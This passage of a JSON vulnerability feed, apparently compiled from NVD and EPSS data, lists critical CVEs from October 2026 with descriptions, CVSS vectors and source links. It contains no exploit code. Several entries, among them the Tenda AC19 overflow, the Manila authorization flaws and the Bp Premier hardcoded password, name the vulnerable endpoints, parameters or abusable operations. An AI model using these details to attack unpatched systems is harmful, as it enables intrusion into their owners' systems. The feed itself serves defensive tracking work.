CVE-2026-76466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76466","type":"primary","publishedAt":"2026-10-21T17:19:06.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76466&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76466, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20043","cveId":"CVE-2026-20043","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20043 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20043 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:27.087Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20043","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.00364,"percentile":0.29954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20043","type":"primary","publishedAt":"2026-10-21T17:18:27.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113788","cveId":"CVE-2026-113788","aliases":[],"kind":"vulnerability","title":"Lagoon is an application delivery platform for Kubernetes.","summary":"Lagoon is an application delivery platform for Kubernetes. Versions prior to 2.33.1 have a vulnerability in the `ssh` service in Lagoon core that would allow an attacker to execute arbitrary code which could lead to, among other things, elevated administrative permissions. It is mitigated by the fact that an attacker must have a Lagoon user account. Exploitation may be detected by checking the container logs of the `ssh` service for: `too many arguments`. The vulnerability was fixed in Lagoon v2.33.2, which is included in the `lagoon/lagoon-core` helm chart v1.62.2. As a workaround, the `ssh` service in Lagoon core can be disabled. The `ssh-portal` service and components are not effected and can continue to be used.","detail":"Lagoon is an application delivery platform for Kubernetes. Versions prior to 2.33.1 have a vulnerability in the `ssh` service in Lagoon core that would allow an attacker to execute arbitrary code which could lead to, among other things, elevated administrative permissions. It is mitigated by the fact that an attacker must have a Lagoon user account. Exploitation may be detected by checking the container logs of the `ssh` service for: `too many arguments`. The vulnerability was fixed in Lagoon v2.33.2, which is included in the `lagoon/lagoon-core` helm chart v1.62.2. As a workaround, the `ssh` service in Lagoon core can be disabled. The `ssh-portal` service and components are not effected and can continue to be used.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T16:17:26.440Z","updatedAt":"2026-10-23T16:16:51.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113788","asOf":"2026-10-23T16:16:51.237Z"},"epss":{"probability":0.00389,"percentile":0.32715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113788&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113788","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113788","type":"primary","publishedAt":"2026-10-21T16:17:26.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113788&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113788, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111852","cveId":"CVE-2026-111852","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This issue affects Ajax Search Lite: from n/a through 4.14.6.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This issue affects Ajax Search Lite: from n/a through 4.14.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:16.140Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111852","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00338,"percentile":0.26932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111852","type":"primary","publishedAt":"2026-10-21T15:17:16.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111834","cveId":"CVE-2026-111834","aliases":[],"kind":"vulnerability","title":"Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP:...","summary":"Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP: from n/a through 2.4.4.","detail":"Unrestricted Upload of File with Dangerous Type vulnerability in Kitae Park Mang Board WP mangboard allows Upload a Web Shell to a Web Server.This issue affects Mang Board WP: from n/a through 2.4.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:15.387Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111834","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00372,"percentile":0.30858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111834","type":"primary","publishedAt":"2026-10-21T15:17:15.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111832","cveId":"CVE-2026-111832","aliases":[],"kind":"vulnerability","title":"Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from...","summary":"Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from n/a through 1.9.1.0.","detail":"Unrestricted Upload of File with Dangerous Type vulnerability in WP Mailster WP Mailster wp-mailster allows Upload a Web Shell to a Web Server.This issue affects WP Mailster: from n/a through 1.9.1.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:15.130Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111832","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00405,"percentile":0.34491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111832","type":"primary","publishedAt":"2026-10-21T15:17:15.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114403","cveId":"CVE-2026-114403","aliases":[],"kind":"vulnerability","title":"PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted...","summary":"PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted presentation file. Attackers can upload a ZIP containing PhpPresentation.xml that IOFactory::load passes to unserialize(), enabling gadget-chain code execution, file writes, or denial of service.","detail":"PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted presentation file. Attackers can upload a ZIP containing PhpPresentation.xml that IOFactory::load passes to unserialize(), enabling gadget-chain code execution, file writes, or denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:31.753Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114403","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00477,"percentile":0.40923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114403","type":"primary","publishedAt":"2026-10-21T13:18:31.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87095","cveId":"CVE-2026-87095","aliases":[],"kind":"vulnerability","title":"Sensitive information disclosure and manipulation due to improper authorization checks.","summary":"Sensitive information disclosure and manipulation due to improper authorization checks. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 6.0.1-112, Acronis Cyber Infrastructure (ACI) before build 6.1.1-64, Acronis Cyber Infrastructure (ACI) before build 6.2.1-71.","detail":"Sensitive information disclosure and manipulation due to improper authorization checks. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 6.0.1-112, Acronis Cyber Infrastructure (ACI) before build 6.1.1-64, Acronis Cyber Infrastructure (ACI) before build 6.2.1-71.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T11:17:09.463Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87095","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.00242,"percentile":0.15188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87095","type":"primary","publishedAt":"2026-10-21T11:17:09.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71195","cveId":"CVE-2026-71195","aliases":[],"kind":"vulnerability","title":"In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share.","summary":"In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share. The API controllers authorize operations against the caller's own project context, then load a foreign public share without re-authorizing against the share's actual owner. This affects the following operations: allow_access: grant data-plane read/write access to another tenant's share; deny_access: revoke the owner's existing access rules; update_access: escalate access level (e.g., ro to rw); create_share_backup: exfiltrate share data via a backup created under the attacker's project; soft_delete: move a foreign share to the recycle bin; restore: interfere with the owner's deletion workflow; export location metadata: create, update, and delete metadata on foreign export locations; access rule listing: disclose IPs, usernames, and CephFS keys. Any authenticated project member can exploit these operations on any public share. The share UUID is visible since the share is public.","detail":"In OpenStack Manila before 23.0.1, multiple Manila API operations on public shares do not verify that the caller owns the share. The API controllers authorize operations against the caller's own project context, then load a foreign public share without re-authorizing against the share's actual owner. This affects the following operations: allow_access: grant data-plane read/write access to another tenant's share; deny_access: revoke the owner's existing access rules; update_access: escalate access level (e.g., ro to rw); create_share_backup: exfiltrate share data via a backup created under the attacker's project; soft_delete: move a foreign share to the recycle bin; restore: interfere with the owner's deletion workflow; export location metadata: create, update, and delete metadata on foreign export locations; access rule listing: disclose IPs, usernames, and CephFS keys. Any authenticated project member can exploit these operations on any public share. The share UUID is visible since the share is public.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:49.393Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71195","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00484,"percentile":0.4141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71195","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71195","type":"primary","publishedAt":"2026-10-21T06:16:49.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113744","cveId":"CVE-2026-113744","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component...","summary":"A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component httpd Web Management Service. Such manipulation of the argument firewallEn leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.","detail":"A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component httpd Web Management Service. Such manipulation of the argument firewallEn leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T02:17:07.053Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113744","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00622,"percentile":0.49489,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113744","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113744","type":"primary","publishedAt":"2026-10-21T02:17:07.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114119","cveId":"CVE-2026-114119","aliases":[],"kind":"vulnerability","title":"Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed...","summary":"Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed without breaking the application. Attackers with network access to the database instance can authenticate as sysadmin, bypass application authentication, and execute operating system commands as SYSTEM.","detail":"Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed without breaking the application. Attackers with network access to the database instance can authenticate as sysadmin, bypass application authentication, and execute operating system commands as SYSTEM.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:38.353Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114119","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00428,"percentile":0.36799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114119","type":"primary","publishedAt":"2026-10-21T01:17:38.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114119, scored 2026-10-25. This is a model estimate, not proof of 